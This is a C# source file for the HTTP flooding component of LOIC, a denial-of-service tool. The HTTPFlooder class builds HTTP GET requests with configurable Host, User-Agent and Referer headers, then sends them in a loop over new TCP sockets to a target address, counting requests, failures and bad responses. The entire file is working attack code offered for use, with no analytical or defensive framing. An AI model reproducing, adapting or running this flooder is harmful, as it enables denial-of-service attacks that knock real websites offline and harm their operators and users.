﻿// ------------------------------------------------------------------
// DO NOT REMOVE THIS LINES IN ANY TIMES WILL BE.
// Original author: ANONYMOUS
// Project name: LOIC
// ------------------------------------------------------------------

using System;
using System.ComponentModel;
using System.Net;
using System.Net.Sockets;
using System.Windows.Forms;
using Putingun;

namespace LOIC
{
	class HTTPFlooder : IFlooder
	{
		#region Fields
		private BackgroundWorker bw;
		private long lastAction;
		private Random random = new Random();
		private Timer tTimepoll = new Timer();
        private PvdAttack Dos = null;
		#endregion
		#region Constructors
		public HTTPFlooder(PvdAttack dos, IPEndPoint ip)
		{
            this.Dos = dos;
		}
		#endregion
		#region Properties
		public int Delay        { get; set; }
		public int Downloaded   { get; set; }
		public int Requested    { get; set; }
		public int Failed       { get; set; }
		public int Bad          { get; set; }
		public bool IsFlooding  { get; set; }
		public ReqState State   { get; set; }
		#endregion
		#region Methods
		public void Start()
		{
			this.IsFlooding = true;
			lastAction = Tick();

			tTimepoll = new Timer();
			tTimepoll.Tick += new EventHandler(tTimepoll_Tick);
			tTimepoll.Start();

			this.bw = new BackgroundWorker();
			this.bw.DoWork += new DoWorkEventHandler(bw_DoWork);
			this.bw.RunWorkerAsync();
			this.bw.WorkerSupportsCancellation = true;
		}

        public void Stop()
        {
			this.IsFlooding = false;
            this.bw.CancelAsync();
        }

		private static long Tick()
		{
			return DateTime.Now.Ticks / 10000;
		}
		#endregion
		#region Event handlers
		private void bw_DoWork(object sender, DoWorkEventArgs e)
        {
            try
            {
                string format = "GET " + Extras.g_subsite(Dos.HttpSubsite) + " HTTP/1.1";
                if (Dos.HttpHeaders)
                {
                    if (Dos.HttpHost != null)
                        format +=
                            "{0}Host: " + Dos.HttpHost;
                    if (Dos.HttpUserAgent != null)
                        format +=
                            "{0}User-Agent: " + Dos.HttpUserAgent;
                    format +=
                        "{0}Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, * /*;q=0.1" +
                        "{0}Accept-Language: ru-RU,ru;q=0.9,en;q=0.8" +
                        "{0}Accept-Encoding: gzip, deflate";
                    if (Dos.HttpReffererUrl != null)
                        format +=
                            "{0}Refferer: " + Dos.HttpReffererUrl;
                    if (Dos.HttpConnectionKeepAlive)
                        format +=
                            "{0}Connection: Keep-Alive";
                    else format +=
                            "{0}Connection: close";
                }

                byte[] buf = System.Text.Encoding.ASCII.GetBytes(String.Format(format + "{0}{0}{0}", Environment.NewLine));
                while (this.IsFlooding && !Dos.IsSleeping)
                {
                    this.State = ReqState.Ready; // SET this.State TO READY //
                    lastAction = Tick();
                    byte[] recvBuf = new byte[64];
                    var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                    this.State = ReqState.Connecting; // SET this.State TO CONNECTING //
                    socket.Connect(Dos.IP);
                    socket.Blocking = Dos.Response;
                    this.State = ReqState.Requesting; // SET this.State TO REQUESTING //
                    socket.Send(buf, SocketFlags.None);
                    this.State = ReqState.Downloading; Requested++; // SET this.State TO DOWNLOADING // REQUESTED++
                    if (Dos.Response) socket.Receive(recvBuf, 64, SocketFlags.None);
                    this.State = ReqState.Completed; // SET this.State TO COMPLETED // DOWNLOADED++
                    tTimepoll.Stop();
                    Downloaded++;
                    if (!Extras.g_isResponseOk(recvBuf))
                    {
                        Bad++;
                        Extras.v_badDetected(Dos);
                    }
                    if (Delay > 0) System.Threading.Thread.Sleep(Delay);
                }
            }
            catch { }
            finally { IsFlooding = false; }
		}
		private void tTimepoll_Tick(object sender, EventArgs e)
		{
            if (Tick() > lastAction + Dos.Timeout && !Dos.IsSleeping)
			{
				this.IsFlooding = false;
				this.Failed++;
				this.State = ReqState.Failed;
			}
		}
		#endregion
	}
}
